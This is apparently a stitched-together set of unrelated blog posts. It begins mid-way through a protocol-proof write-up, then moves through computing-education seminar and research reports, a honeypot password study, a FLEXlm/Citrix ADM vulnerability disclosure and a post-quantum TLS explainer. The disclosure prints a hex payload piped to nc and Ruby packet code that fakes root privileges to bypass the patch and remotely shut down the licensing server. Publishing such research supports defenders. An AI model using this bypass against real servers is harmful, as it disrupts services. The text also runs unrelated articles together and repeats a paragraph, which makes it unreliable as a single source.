This doesn’t in general prove indistinguishability. There are two techniques an attacker can use to link two queries. Direct inference and statistical analysis. Because of the anonymity trilemma we know that we cannot defend against statistical analysis, so we have to declare it out of scope and move on. To prevent direct inference we need to make sure that the attacker doesn’t compromise either the client, or both the relay and the gateway together, which would let it directly link the queries. So is there anything we can protect against? Thankfully there is one thing. We can make sure that a malicious gateway can’t identify that a single client sent two messages. We prove that by not keeping any state between connections. If a returning client acts in exactly the same way as a new client, and doesn’t carry any state between requests, there’s nothing for the malicious gateway to analyze.
And that’s it! If you want to have a go at proving some of these properties yourself our models and proofs are available on our GitHub, as are our ODoH models and proofs. The Tamarin prover is freely available too, so you can double-check all our work. Hopefully this post has given you a flavor of what we mean when we say that we’ve proven a protocol secure, and inspired you to have a go yourself. If you want to work on great projects like this check out our careers page.
1Depending on the model, this process can lead to an exponential blow-up in search space, making it impossible to prove anything automatically. Moreover, if the new output facts do not fulfill the requirements of any remaining rule(s) then the process hangs.
Conrad has been an influential figure in the areas of AI, data science, and computation for over 30 years. The company he co-founded, Wolfram Research, develops computational technologies including the Wolfram programming language, which is used by the Mathematica and WolframAlpha programs. In the seminar, Conrad spoke about his work on developing a mathematics curriculum “for the AI age”.
Computation is everywhere
In his talk, Conrad began by talking about the ubiquity of computation. He explained how computation (i.e. an operation that follows conditions to give a defined output) has transformed our everyday lives and led to the development of entire new sub-disciplines, such as computational medicine, computational marketing, and even computational agriculture. He then used the WolframAlpha tool to give several practical examples of applying high-level computation to problem-solving in different areas.
Yes, there are more people in the UK than sheep in New Zealand.
The power of computation for mathematics
Conrad then turned his attention to the main question of his talk: if computation has also changed real-world mathematics, how should school-based mathematics teaching respond? He suggested that, as computation has impacted all aspects of our daily lives, school subjects should be reformed to better prepare students for the careers of the future.
Hand calculation methods are time-consuming.
His biggest criticism was the use of hand calculation methods in mathematics teaching. He proposed that a mathematics curriculum that “assumes computers exist” and uses computers (rather than humans) to compute answers would better support students to develop a deep understanding of mathematical concepts and principles. In other words, if students spent less time doing hand-calculation methods, they could devote more time to more complex problems.
What does computational problem-solving look like?
One interesting aspect of Conrad’s talk was how he modelled the process of solving problems using computation. In all of the example problems, he outlined that computational problem-solving follows the same four-step process:
Define the question: Students think about the scope and details of the problem and define answerable questions to tackle.
Abstract to computable form: Using the information provided, students translate the question into a precise abstract form, such as a diagram or algorithm, so that it can be solved by a computer-based agent.
Computer answers: Using the power of computation, students solve the abstract question and resolve any issues during the computation process.
Interpret results: Students reinterpret and recontextualise the abstract answer to derive useful results. If problems emerge, students refine or fix their work.
Depending on the problem, the process can be repeated multiple times until the desired solution is reached. Rather than being proposed as a static list of outcomes, the process was presented by Conrad as an iterative cycle than resembles an “ascending helix”:
The problem-solving ‘helix’ model.
A curriculum for a world with AI
In the later stages of his talk, Conrad talked about the development of a new computational curriculum to better define what a modern mathematics curriculum might look like. The platform that hosts the curriculum, named Computer-Based Math (or CBM), outlines the need to integrate computational thinking into mathematics in schools. For instance, one of the modules, How Fast Could I Cycle Stage 7 Of The An Post Rás?, asks students to develop a computational solution to a real-world problem. Following the four-step problem-solving process, students apply mathematical models, computational tools, and real-world data to generate a valid solution:
Sample module from Computer-Based Math. Click to enlarge.
Some future challenges he remarked on included how a computer-based mathematics curriculum could be integrated with existing curricula or qualifications, at what ages computational mathematics should be taught, and what assessment, training, and hardware would be needed to support teachers to deliver such a curriculum.
Conrad concluded the talk by arguing that the current need for computational literacy is similar to the need for mass literacy and pondering whether the UK could lead the push towards a new computational curriculum suitable for learners who grow up with AI technologies. This point provided food for thought during our discussion section, especially for teachers interested in embedding computation into their lessons, and for researchers thinking about the impact of AI in different fields. We’re grateful to Conrad for speaking about his work and mission — long may it continue!
You can catch up on Conrad’s talk with his slides and the talk’s recording:
You can also explore Wolfram Research’s Computer-Based Maths curriculum, which offers learning materials to help teachers embed computation in their maths lessons.
Finally, try out Wolfram’s tools to solve everyday problems using computation. For example, you might ask WolframAlpha data-rich questions, which the tool converts from text input into a computable problem using natural language processing. (Two of my favourite example questions are: “How old was Leonardo when the Mona Lisa was painted?” and “What was the weather like when I was born?”)
Join our next seminar
In the final seminar of our series on cross-curricular computing, we welcome Dr Tracy Gardner and Rebecca Franks (Raspberry Pi Foundation) to present their ongoing work on computing education in non-formal settings. Sign up now to join us for this session on Tues 8 November:
We will shortly be announcing the theme of a brand-new series of research seminars starting in January 2023. The seminars will take place online on the first Tuesday of the month at 17:00–18:30 UK time.
Passwords, amirite? We all have them. Probably a lot of them. And they are among the most important lines of defense against nefarious attackers seeking access to our online accounts. Sadly, as we all know too well, password health isn’t exactly our collective strong suit and too often we hear about breaches coming from loosely or poorly managed passwords.
At Rapid7, we are constantly conducting original research into the latest trends in attacker behavior, vulnerabilities, and cyber security trends that could lead to the next big breach (or the next big goal line save). In our latest report, Good Passwords for Bad Bots, we took a look at two of the most popular protocols used for remote administration, SSH and RDP, to get a sense of how attackers are taking advantage of weaker password management to gain access to systems. What we found in many ways confirmed our assumptions 1) attackers aren’t “cracking” passwords on the internet; and 2) we still collectively stink at password management.
Here’s how we did it.
As a cybersecurity company we are sometimes called upon to dabble in the “dark arts” in order to better prepare ourselves and our customers for the types of attacks they can expect to see in the real world. Sometimes that means penetration testing (hire us to hack into your systems, trust us, it’s fun). And sometimes we deploy honeypots to entice and capture behavior of attackers in a risk-free environment in order to study them.
For this report, we used our network of honeypots (a few hundred of them) to monitor SSH and RDP login attempts. Once we zeroed in on authentication attempts (as opposed to vulnerability exploit attempts, low-touch scans, and the like) we found 512,002 unique passwords were attempted to be used by attackers.
We then turned to the rockyou2021.txt list to determine how many of those passwords existed in this industry-standard list of exposed passwords. Prepare to be shocked: nearly all of them were. In fact, we found just 14 of the passwords being brute forced into our honeypots were NOT found in the rockyou2021.txt file. And we think those were likely errors as they included a string of the honeypots’ IP addresses in them. Unless they are signs of some dastardly attack that we haven’t seen before <cue dramatic music> they are likely insignificant.
But if attackers were using automated tools to “crack” passwords online we’d see more of them, a lot more. There are something to the tune of 8.4 billion passwords on the rockyou2021.txt file. We found less than half a million in our honeypots. What’s more likely to happen is attackers still rely on the human connection to security infrastructure which is notoriously one of the weakest links in the chain. Social engineering, like phishing for passwords, and credential stuffing (ie. trying known passwords across other targeted platforms to catch someone reusing identical usernames and passwords) are still stronger ways for attackers to gain access to passwords than cracking them automatically.
What this tells us in practicality is that it’s not terribly hard to avoid this class of attack. In fact, some of the most attacked credentials were ones that should make any internet-literate person facepalm hard. The three most popular user names for RDP were “administrator,” “user,” and “admin.” The three most common passwords? Brace yourselves: “root,” “admin,” and “nproc.” One of the most popular passwords was literally “123456” which is definitely not the combination to our luggage. So, yeah, we’re not doing well enough with our passwords.
But as we said earlier, it’s not that hard to beat this kind of attack. You don’t even have to have a particularly strong password in order to protect yourself, just one with randomness in it. Maybe throw in a few strange characters. Don’t reuse it for multiple logins. And above all don’t use default passwords. All of these things would be covered by the use of password manager services that create unique, random passwords for every one of your online accounts. We’re not getting paid by these services to say this, I assure you, they just happen to be a strong but underutilized way to have good credential hygiene.
If you want to learn more, download our new report Good Passwords for Bad Bots. And then, go change your passwords. All of them. You’ll be glad you did.
Rapid7 investigated these issues to better understand their impact, and found that the patch is not sufficient to prevent exploitation. We also determined that the worst outcome of this vulnerability is a denial of service – the licensing server can be told to shut down (even with the patch). We were not able to find a way to reset the admin password, as the original bulletin indicated.
In the course of investigating CVE-2022-27511 and CVE-2022-27512, we determined that the root cause of the issues in Citrix ADM was a vulnerable implementation of popular licensing software FLEXlm, also known as FlexNet Publisher. This disclosure addresses both the core issue in FLEXlm and Citrix ADM’s implementation of it (which resulted in both the original CVEs and later the patch bypass our research team discovered). Rapid7 coordinated disclosure with both companies and CERT/CC.
As of this publication, these issues remain unpatched, so IT defenders are urged to reach out to Revenera and Citrix for direct guidence on mitigating these denial of service vulnerabilities and CVE assignment.
Products
FLEXlm is a license management application that is part of FlexNet licensing, provided by Revenera’s Flexnet Software, and is used for license provisioning on many popular network applications, including Citrix ADM. You can read more about FlexNet at the vendor’s website.
Citrix ADM is an application provisioning solution from Citrix, which uses FLEXlm for license management. You can read more about Citrix ADM at the vendor’s website.
Citrix ADM runs on FreeBSD, and remote administrative logins are possible. Using that, we compared two different versions of the Citrix ADM server – before and after the patch.
Eventually, we went through each network service, one by one, to check what each one did and whether the patch may have fixed something. When we got to TCP port 27000, we found that lmgrd was running. Looking up lmgrd, we determined that it’s a licensing server made by FLEXlm called FlexNet Licensing (among other names), made by Revenera. Since the bulletin calls out licensing disruption, this seemed like a sensible place to look; from the bulletin:
Temporary disruption of the ADM license service. The impact of this includes preventing new licenses from being issued or renewed by Citrix ADM.
If we look at how lmgrd is executed before and after the patch, we find that the command line arguments changed; before:
If we look at some online documentation, we see that the -2 -p flags are security-related:
-2 -p Restricts usage of lmdown, lmreread, and lmremove to a FLEXlm administrator who is by default root. [...]
Patch Analysis
We tested a Linux copy of FlexNet 11.18.3.1, which allowed us to execute and debug Flex locally. Helpfully, the various command line utilities that FlexNet uses to perform actions (accessible via lmutil) use a TCP connection to localhost, allowing us to analyze the traffic. For example, the following command:
$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread successful
Generates a lot of traffic going to localhost:27000, including:
If we start the service with the -2 -p flag, we can no longer run lmreread:
$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread failed: You are not a license administrator. (-63,294)
That appears to be working as intended! Or does it?
Protocol Analysis
We spent a substantial amount of time reverse engineering FlexNet’s protocol. FlexNet uses a binary protocol with a lot of support and code paths for different (and deprecated) versions of the protocol. But we built a tool (that you can get on GitHub) that implements the interesting parts of the protocol.
It turns out, even ignoring the vulnerability, you can do a whole bunch of stuff against the FlexNet service, and none of it even requires authentication! For example, you can grab the path to the license file:
$ echo -ne "\x2f\x8a\x17\x2d\x00\x37\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x
00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x00" | nc -v 10.0.0.9 27000
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.9:27000.
L6194# DO NOT REMOVE THIS COMMENT LINE
# "のコメント行は削除しLK6060NEN
# NE SUPPRIMEZ PAS CETTE LIGNE DE COMMENTAIRE
# NO ELIMINAR ESTA LÍNL5926IX PORT=7279
And you can also remotely re-load the license file and shut down the service if the -p -2 flag is not set when the server starts. That’s the core of the original CVEs – that those flags aren’t used and therefore a remote user can take administrative actions.
Patch Bypass
The problem is, all of the security features (including declaring your username and privilege level) are client-side choices, which means that without knowing any secret information, the client can self-declare that they are privileged.
This is what the "authentication" message looks like in flexnet-tools.rb:
send_packet(0x2f, 0x0102,
"\x01\x04" + # If the `\x04` value here is non-zero, we are permitted to log in
"\x0b\x10" + # Read as a pair of uint16s
"\x00\x54" + # Read as single uint16
"\x00\x78" + # Read as single uint16
"\x00\x00\x16\x97" + # Read as uint32
"root\x00" +
"CitrixADM\x00" +
"/dev/pts/1\x00" +
"\x00" + # If I add a string here, the response changes
"x86_f8\x00" +
"\x01"
)
In that example, root is the username, and CitrixADM is the host. Those can be set to whatever the client chooses, and permissions and logs will reflect that. The first field, \x01\x04, is also part of the authentication process, where the \x04 value specifically enables remote authorization – while we found the part of the binary that reads that value, we are not clear what the actual purpose is.
By declaring oneself as root@CitrixADM (using that message), it bypasses the need to actually authenticate. The lmdown field, for shutting down the licensing server, has an addition required field:
when 'lmdown'
out = send_packet(0x2f, 0x010a,
"\x00" + # Forced?
"root\x00" + # This is used in a log message
"CitrixADM\x00" +
"\x00" +
"\x01\x00\x00\x7f" +
"\x00" +
(LOGIN ? "islocalSys" : "") + # Only attach islocalSys if we're logging in
"\x00"
)
The islocalSys value self-identifies the client as privileged, and therefore it is allowed to bypass the -2 -p flag and perform restricted actions. This bypasses the patch.
Impact
Remotely shutting down the FLEXlm licensing server can cause a denial of service condition in the software for which that licensing server is responsible. In this particular case, exploiting this vulnerability can cause a disruption in provisioning licenses through Citrix ADM.
Remediation
In the absence of a vendor-supplied patch, users of software that relies on FLEXlm should not expose port 27000/TCP to untrusted networks. Note that in many cases, this would remove the functionality of the license server entirely.
Disclosure Timeline
This issue was disclosed in accordance with Rapid7’s [vulnerability disclosure] policy(https://www.rapid7.com/security/disclosure/#zeroday), but with a slightly faster initial release to CERT/CC, due to the multivendor nature of the issue.
June, 2022: Issues discovered and documented by Rapid7 researcher Ron Bowes
Tue, Jul 5, 2022: Disclosed to Citrix via their PSIRT team
Thu, Jul 7, 2022: Disclosed to Flexera via their PSIRT team
Wed, Jul 12, 2022: Disclosed to CERT/CC (VU#300762)
July – October, 2022: Disclosure discussions between Rapid7, Citrix, Flexera, and CERT/CC through VINCE (Case 603).
We’re sharing the fourth evaluation report on projects in our Gender Balance in Computing research programme today. This is a programme we’ve been running, with partner organisations, as part of the National Centre for Computing Education, funded by the Department for Education in England. The programme’s overall goal is to identify ways to encourage more young women to study Computer Science.
Like the previous reports on our Storytelling, Pair Programming, and Peer Instruction projects, this new report was compiled by independent evaluators from the Behavioural Insights Team (BIT). It concerns a study conducted with learners aged 9 to 10 and examining two approaches aimed at improving girls’ sense of belonging in computing.
The importance of belonging in computing
A growing body of research suggests that girls’ interest and motivation is linked to the sense of belonging that they feel when experiencing and studying STEM subjects. When girls see themselves represented in computing by identifying role models, they are more likely to value the subject in their studies and future careers. Parents and wider family members also play an important role in amplifying the message that girls belong in computing through the way that they talk about the subject.
The Belonging study was structured as two distinct but related interventions designed to improve girls’ sense of belonging, each following a different approach. WISE and a team at BIT (separate to the team evaluating the study) were responsible for the design, delivery, and implementation of the two interventions, while we provided overall programme management and recruited schools.
Interventions to encourage girls’ sense of belonging
This study was conducted from September 2021 to February 2022 as a randomised controlled trial (RCT) where participating schools were randomly divided into three groups: two treatment groups which each delivered one of the two interventions to their Year 5 learners, and one control group, which taught Computing to their Year 5 learners in their usual way throughout the duration of the study.
The intervention designed by WISE was titled ‘My Skills My Life’ and was aimed at girls’ self-identification. The design included ten lessons that highlighted the importance of computing and STEM and how these fields impact our lives. The lessons also introduced pupils to female role models working in professions relating closely to computing.
A word search activity from the My Skills My Life lesson titled ‘My Dream Job’. The purpose of this activity was to introduce a variety of STEM and computing careers.
A core component was a lesson midway through the intervention, where schools in the treatment group held a ‘real-life role model’ session with female role models from the computing industry. In this session, volunteer role models shared their day-to-day work experiences and discussed some fundamental concepts and perceptions related to their role. To do so, the role models first received support and training from the schools based on material provided by WISE. WISE also provided additional training and guidance on resource usage and how to talk about computing careers to make them more understandable and relatable to children.
In addition to the lesson content and training, WISE created a role model booklet with information on 72 women currently working in computing and associated industries. These women had volunteered to be included in the booklet and to also speak to pupils potentially interested in computing. The main purpose of presenting these role-models was to let the primary pupils meet women who are happy and successful in computing careers.
“I loved learning about [role model name]’s job during the day. It was so cool.”
– Primary school pupil (report, p. 50)
The other intervention in the trial, designed by BIT, was called ‘Code Stars’. This intervention ran over 12 weeks. Schools involved in it first delivered a stand-alone, one-off lesson on artificial intelligence (AI).
A slide from the AI-themed lesson from the Code Stars intervention.
After the lesson, the pupils completed a homework task, engaging with their parents or carers. This was followed by a set of regular conversation prompts to encourage parents to have discussions with their children about computing in general and the AI lesson in particular. The original plan was for BIT to implement these conversation prompts, but due to COVID-19-related challenges, teachers had to take the responsibility of sending the prompts. At the end of the intervention, teachers conducted a follow-up lesson.
“Some parents did not want to support their children due to their own lack of confidence. Others did not see it as important as doing the weekly Maths and English homework.”
– Teacher participating in the Code Stars intervention (report, p. 55)
Results and recommendations from the intervention evaluations
These two separate but related approaches aimed at increasing girls’ sense of membership in the computing community and to improve their and their parents’ engagement. The overall impact was evaluated using a mixed method approach; this included case studies, online teacher surveys, parent interviews, pupil surveys, lesson observations, and pupil focus groups.
The impact evaluation did not find conclusive evidence of either intervention having an impact on female pupils’ attitudes towards computing or their intention to study computing in the future. However, the stated intention of girls to study computing was 5.6 percentage points higher in the Code Stars intervention group than in the control group. This difference was statistically significant in some, although not all, of the analysis run; this means we cannot rule out that this result was due to chance, rather than due to the intervention.
In addition, qualitative data collected from teachers suggested that the My Skills My Life intervention delivery was very well received and needed only minor adjustments, although this did not translate into evidence of impact on the measured pupil outcomes. Teachers also appreciated the level of detail in the My Skills My Life lesson plans, and the Code Stars intervention was described as fun and engaging.
The independent evaluators of this research study have recommended refinements to each of the interventions to improve their delivery and potential impact, along with suggested evaluation strategies for any future replications of the interventions.
Want to find out more about increasing girls’ sense of belonging in computing?
We are very grateful to all the schools, pupils, and teachers who took part in this project. If you would like to stay up-to-date with the Gender Balance in Computing programme, you can sign up to our newsletter. We will also share reports on the other projects within the programme that have explored:
The links between non-formal and formal Computing
The impact of using Computing to solve real-world problems
The role that GCSE Options booklets and Subject Choice evenings can play in promoting gender balance in computing
For our seminar series on cross-disciplinary computing, it was a delight to host Genevieve Smith-Nunes this September. Her research work involving ballet and augmented reality was a perfect fit for our theme.
Genevieve Smith-Nunes
Genevieve has a background in classical ballet and was also a computing teacher for several years before starting Ready Salted Code, an educational initiative around data-driven dance. She is now coming to the end of her doctoral studies at the University of Cambridge, in which she focuses on raising awareness of data ethics using ballet and brainwave data as narrative tools, working with student Computing teachers.
Why dance and computing?
You may be surprised that there are links between dance, particularly ballet, and computing. Genevieve explained that classical ballet has a strict repetitive routine, using rule-based choreography and algorithms. Her work on data-driven dance had started at the time of the announcement of the new Computing curriculum in England, when she realised the lack of gender balance in her computing classroom. As an expert in both ballet and computing, she was driven by a desire to share the more creative elements of computing with her learners.
Two of Genevieve’s data-driven ballet dances: [arra]stre and [PAIN]byte
Genevieve has been working with a technologist and a choreographer for several years to develop ballets that generate biometric data and include visualisation of such data — hence her term ‘data-driven dance’. This has led to her developing a second focus in her PhD work on how Computing students can discuss questions of ethics based on the kind of biometric and brainwave data that Genevieve is collecting in her research. Students need to learn about the ethical issues surrounding data as part of their Computing studies, and Genevieve has been working with student teachers to explore ways in which her research can be used to give examples of data ethics issues in the Computing curriculum.
Collecting data during dances
Throughout her talk, Genevieve described several examples of dances she had created. One example was [arra]stre, a project that involved a live performance of a dance, plus a series of workshops breaking down the computer science theory behind the performance, including data visualisation, wearable technology, and images triggered by the dancers’ data.
Much of Genevieve’s seminar was focused on the technologies used to capture movement data from the dancers and the challenges this involves. For example, some existing biometric tools don’t capture foot movement — which is crucial in dance — and also can’t capture movements when dancers are in the air. For some of Genevieve’s projects, dancers also wear headsets that allow collection of brainwave data.
Due to interruptions to her research design caused by the COVID-19 pandemic, much of Genevieve’s PhD research took place online via video calls. New tools had to be created to capture dance performances within a digital online setting. Her research uses webcams and mobile phones to record the biometric data of dancers at 60 frames per second. A number of processes are then followed to create a digital representation of the dance: isolating the dancer in the raw video; tracking the skeleton data; using post pose estimation machine learning algorithms; and using additional software to map the joints to the correct place and rotation.
Are your brainwaves personal data?
It’s clear from Genevieve’s research that she is collecting a lot of data from her research participants, particularly the dancers. The projects include collecting both biometric data and brainwave data. Ethical issues tied to brainwave data are part of the field of neuroethics, which comprises the ethical questions raised by our increasing understanding of the biology of the human brain.
Teaching learners to be mindful about how to work with personal data is at the core of the work that Genevieve is doing now. She mentioned that there are a number of ethics frameworks that can be used in this area, and highlighted the UK government’s Data Ethics Framework as being particularly straightforward with its three guiding principles of transparency, accountability, and fairness. Frameworks such as this can help to guide a classroom discussion around the security of the data, and whether the data can be used in discriminatory ways.
Brainwave data visualisation using the Emotiv software.
Data ethics provides lots of material for discussion in Computing classrooms. To exemplify this, Genevieve recorded her own brainwaves during dance, research, and rest activities, and then shared the data during workshops with student computing teachers. In our seminar Genevieve showed two visualisations of her own brainwave data (see the images above) and discussed how the student computing teachers in her workshops had felt that one was more “personal” than the other. The same brainwave data can be presented as a spreadsheet, or a moving graph, or an image. Student computing teachers felt that the graph data (shown above) felt more medical, and more like permanent personal data than the visualisation (shown above), but that the actual raw spreadsheet data felt the most personal and intrusive.
Watch the recording of Genevieve’s seminar to see her full talk:
Genevieve’s seminar used the title ME++, which refers to the data self and the human self: both are important and of equal value. Genevieve’s use of this term is inspired by William J. Mitchell’s book Me++: The Cyborg Self and the Networked City. Within his framing, the I in the digital world is more than the I of the physical world and highlights the posthuman boundary-blurring of the human and non-human.
In our final two seminars for this year we are exploring further aspects of cross-disciplinary computing. Just this week, Conrad Wolfram of Wolfram Technologies joined us to present his ideas on maths and a core computational curriculum. We will share a summary and recording of his talk soon.
On 2 November, Tracy Gardner and Rebecca Franks from our team will close out this series by presenting work we have been doing on computing education in non-formal settings. Sign up now to join us for this session:
There is an expiration date on the cryptography we use every day. It’s not easy to read, but somewhere between 15 or 40 years, a sufficiently powerful quantum computer is expected to be built that will be able to decrypt essentially any encrypted data on the Internet today.
Luckily, there is a solution: post-quantum (PQ) cryptography has been designed to be secure against the threat of quantum computers. Just three months ago, in July 2022, after a six-year worldwide competition, the US National Institute of Standards and Technology (NIST), known for AES and SHA2, announced which post-quantum cryptography they will standardize. NIST plans to publish the final standards in 2024, but we want to help drive early adoption of post-quantum cryptography.
Starting today, as a beta service, all websites and APIs served through Cloudflare support post-quantum hybrid key agreement. This is on by default1; no need for an opt-in. This means that if your browser/app supports it, the connection to our network is also secure against any future quantum computer.
We offer this post-quantum cryptography free of charge: we believe that post-quantum security should be the new baseline for the Internet.
Deploying post-quantum cryptography seems like a no-brainer with quantum computers on the horizon, but it’s not without risks. To start, this is new cryptography: even with years of scrutiny, it is not inconceivable that a catastrophic attack might still be discovered. That is why we are deploying hybrids: a combination of a tried and tested key agreement together with a new one that adds post-quantum security.
We are primarily worried about what might seem mere practicalities. Even though the protocols used to secure the Internet are designed to allow smooth transitions like this, in reality there is a lot of buggy code out there: trying to create a post-quantum secure connection might fail for many reasons — for example a middlebox being confused about the larger post-quantum keys and other reasons we have yet to observe because these post-quantum key agreements are brand new. It’s because of these issues that we feel it is important to deploy post-quantum cryptography early, so that together with browsers and other clients we can find and work around these issues.
In this blog post we will explain how TLS, the protocol used to secure the Internet, is designed to allow a smooth and secure migration of the cryptography it uses. Then we will discuss the technical details of the post-quantum cryptography we have deployed, and how, in practice, this migration might not be that smooth at all. We finish this blog post by explaining how you can build a better, post-quantum secure, Internet by helping us test this new generation of cryptography.
TLS: Transport Layer Security
When you’re browsing a website using a secure connection, whether that’s using HTTP/1.1 or QUIC, you are using the Transport Layer Security (TLS) protocol under the hood. There are two major versions of TLS in common use today: the new TLS 1.3 (~90%) and the older TLS 1.2 (~10%), which is on the decline.
TLS 1.3 is a huge improvement over TLS 1.2: it’s faster, more secure, simpler and more flexible in just the right places. This makes it easier to add post-quantum security to TLS 1.3 compared to 1.2. For the moment, we will leave it at that: we’ve only added post-quantum support to TLS 1.3.
So, what is TLS all about? The goal is to set up a connection between a browser and website such that
Confidentiality and integrity, no one can read along or tamper with the data undetected.
Authenticity you know you’re connected to the right website; not an imposter.
Building blocks: AEAD, key agreement and signatures
Three different types of cryptography are used in TLS to reach this goal.
Symmetric encryption, or more precisely Authenticated Encryption With Associated Data (AEAD), is the workhorse of cryptography: it’s used to ensure confidentiality and integrity. This is a straight-forward kind of encryption: there is a single key that is used to encrypt and decrypt the data. Without the right key you cannot decrypt the data and any tampering with the encrypted data results in an error while decrypting.
In TLS 1.3, ChaCha20-Poly1305 and AES128-GCM are in common use today. What about quantum attacks? At first glance, it looks like we need to switch to 256-bit symmetric keys to defend against Grover’s algorithm. In practice, however, Grover’s algorithm doesn’t parallelize well, so the currently deployed AEADs will serve just fine.
So if we can agree on a shared key to use with symmetric encryption, we’re golden. But how to get to a shared key? You can’t just pick a key and send it to the server: anyone listening in would know the key as well. One might think it’s an impossible task, but this is where the magic of asymmetric cryptography helps out:
A key agreement, also called key exchange or key distribution, is a cryptographic protocol with which two parties can agree on a shared key without an eavesdropper being able to learn anything. Today the X25519 Elliptic Curve Diffie–Hellman protocol (ECDH) is the de facto standard key agreement used in TLS 1.3. The security of X25519 is based on the discrete logarithm problem for elliptic curves, which is vulnerable to quantum attacks, as it is easily solved by a cryptographically relevant quantum computer using Shor’s algorithm. The solution is to use a post-quantum key agreement, such as Kyber.
A key agreement only protects against a passive attacker. An active attacker, that can intercept and modify messages (MitM), can establish separate shared keys with both the server and the browser, re-encrypting all data passing through. To solve this problem, we need the final piece of cryptography.
With a digitalsignature algorithm, such as RSA or ECDSA, there are two keys: a public and a private key. Only with the private key, one can create a signature for a message. Anyone with the corresponding public key can check whether a signature is indeed valid for a given message. These digital signatures are at the heart of TLS certificates that are used to authenticate websites. Both RSA and ECDSA are vulnerable to quantum attacks. We haven’t replaced those with post-quantum signatures, yet. The reason is that authentication is less urgent: we only need to have them replaced by the time a sufficiently large quantum computer is built, whereas any data secured by a vulnerable key agreement today can be stored and decrypted in the future. Even though we have more time, deploying post-quantum authentication will be quite challenging.
So, how do these building blocks come together to create TLS?
High-level overview of TLS 1.3
A TLS connection starts with a handshake which is used to authenticate the server and derive a shared key. The browser (client) starts by sending a ClientHello message that contains a list of the AEADs, signature algorithms, and key agreement methods it supports. To remove a roundtrip, the client is allowed to make a guess of what the server supports and start the key agreement by sending one or more client keyshares. That guess might be correct (on the left in the diagram below) or the client has to retry (on the right).
Protocol flow for server-authenticated TLS 1.3 with a supported client keyshare on the left and a HelloRetryRequest on the right.
Key agreement
Before we explain the rest of this interaction, let’s dig into the key agreement: what is a keyshare? The way the key agreement for Kyber and X25519 work is different: the first is a Key Encapsulation Mechanism (KEM), while the latter is a Diffie–Hellman (DH) style agreement. The latter is more flexible, but for TLS it doesn’t make a difference.
The shape of a KEM and Diffie–Hellman key agreement in TLS-compatible handshake is the same.
In both cases the client sends a client keyshare to the server. From this client keyshare the server generates the shared key. The server then returns a server keyshare with which the client can also compute the shared key.
Going back to the TLS 1.3 flow: when the server receives the ClientHello message it picks an AEAD (cipher), signature algorithm and client keyshare that it supports. It replies with a ServerHello message that contains the chosen AEAD and the server keyshare for the selected key agreement. With the AEAD and shared key locked in, the server starts encrypting data (shown with blue boxes).
Authentication
Together with the AEAD and server keyshare, the server sends a signature, the handshake signature, on the transcript of the communication so far together with a certificate (chain) for the public key that it used to create the signature. This allows the client to authenticate the server: it checks whether it trusts the certificate authority (e.g. Let’s Encrypt) that certified the public key and whether the signature verifies for the messages it sent and received so far. This not only authenticates the server, but it also protects against downgrade attacks.
Downgrade protection
We cannot upgrade all clients and servers to post-quantum cryptography at once. Instead, there will be a transition period where only some clients and some servers support post-quantum cryptography. The key agreement negotiation in TLS 1.3 allows this: during the transition servers and clients will still support non post-quantum key agreements, and can fall back to it if necessary.
This flexibility is great, but also scary: if both client and server support post-quantum key agreement, we want to be sure that they also negotiate the post-quantum key agreement. This is the case in TLS 1.3, but it is not obvious: the keyshares, the chosen keyshare and the list of supported key agreements are all sent in plain text. Isn’t it possible for an attacker in the middle to remove the post-quantum key agreements? This is called a downgrade attack.
This is where the transcript comes in: the handshake signature is taken over all messages received and sent by the server so far. This includes the supported key agreements and the key agreement that was picked. If an attacker changes the list of supported key agreements that the client sends, then the server will not notice. However, the client checks the server’s handshake signature against the list of supported key agreements it has actually sent and thus will detect the mischief.
The downgrade attack problems are muchmorecomplicated for TLS 1.2, which is one of the reasons we’re hesitant to retrofit post-quantum security in TLS 1.2.
Wrapping up the handshake
The last part of the server’s response is “server finished”, a message authentication code (MAC) on the whole transcript so far. Most of the work has been done by the handshake signature, but in other operating modes of TLS without handshake signature, such as session resumption, it’s important.
With the chosen AEAD and server keyshare, the client can compute the shared key and decrypt and verify the certificate chain, handshake signature and handshake MAC. We did not mention it before, but the shared key is not used directly for encryption. Instead, for good measure, it’s mixed together with communication transcripts, to derive several specific keys for use during the handshake and the main connection afterwards.
To wrap up the handshake, the client sends its own handshake MAC, and can then proceed to send application-specific data encrypted with the keys derived during the handshake.
Hello! Retry Request?
What we just sketched is the desirable flow where the client sends a keyshare that is supported by the server. That might not be the case. If the server doesn’t accept any key agreements advertised by the client, then it will tell the client and abort the connection.
If there is a key agreement that both support, but for which the client did not send a keyshare, then the server will respond with a HelloRetryRequest (HRR) message requesting a keyshare of a specific key agreement that the client supports as shown on the diagram on the right. In turn, the client responds with a new ClientHello with the selected keyshare.
If there is a key agreement that both support, but for which the client did not send a keyshare, then the server will respond with a HelloRetryRequest (HRR) message requesting a keyshare of a specific key agreement that the client supports as shown on the diagram on the right. In turn, the client responds with a new ClientHello with the selected keyshare.
This is not the whole story: a server is also allowed to send a HelloRetryRequest to request a different key agreement that it prefers over those for which the client sent shares. For instance, a server can send a HelloRetryRequest to a post-quantum key agreement if the client supports it, but didn’t send a keyshare for it.
HelloRetryRequests are rare today. Almost every server supports the X25519 key-agreement and almost every client (98% today) sends a X25519 keyshare. Earlier P-256 was the de facto standard and for a long time many browsers would send both a P-256 and X25519 keyshare to prevent a HelloRetryRequest. As we will discuss later, we might not have the luxury to send two post-quantum keyshares.
That’s the theory
TLS 1.3 is designed to be flexible in the cryptography it uses without sacrificing security or performance, which is convenient for our migration to post-quantum cryptography. That is the theory, but there are some serious issues in practice — we’ll go into detail later on. But first, let’s check out the post-quantum key agreements we’ve deployed.
What we deployed
Today we have enabled support for the X25519Kyber512Draft00 and X25519Kyber768Draft00 key agreements using TLS identifiers 0xfe30 and 0xfe31 respectively. These are exactly the same key agreements we enabled on a limited number of zones this July.
These two key agreements are a combination, a hybrid, of the classical X25519 and the new post-quantum Kyber512 and Kyber768 respectively and in that order. That means that even if Kyber turns out to be insecure, the connection remains as secure as X25519.
